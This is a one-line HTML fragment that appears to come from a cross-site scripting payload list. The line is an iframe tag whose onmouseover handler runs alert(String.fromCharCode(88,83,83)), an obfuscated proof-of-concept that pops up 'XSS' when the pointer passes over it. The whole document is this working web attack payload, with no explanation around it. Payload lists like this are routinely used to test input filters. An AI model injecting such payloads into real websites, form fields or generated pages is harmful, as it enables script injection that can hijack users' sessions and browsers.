<iframe src=# onmouseover=alert(String.fromCharCode(88,83,83))></iframe>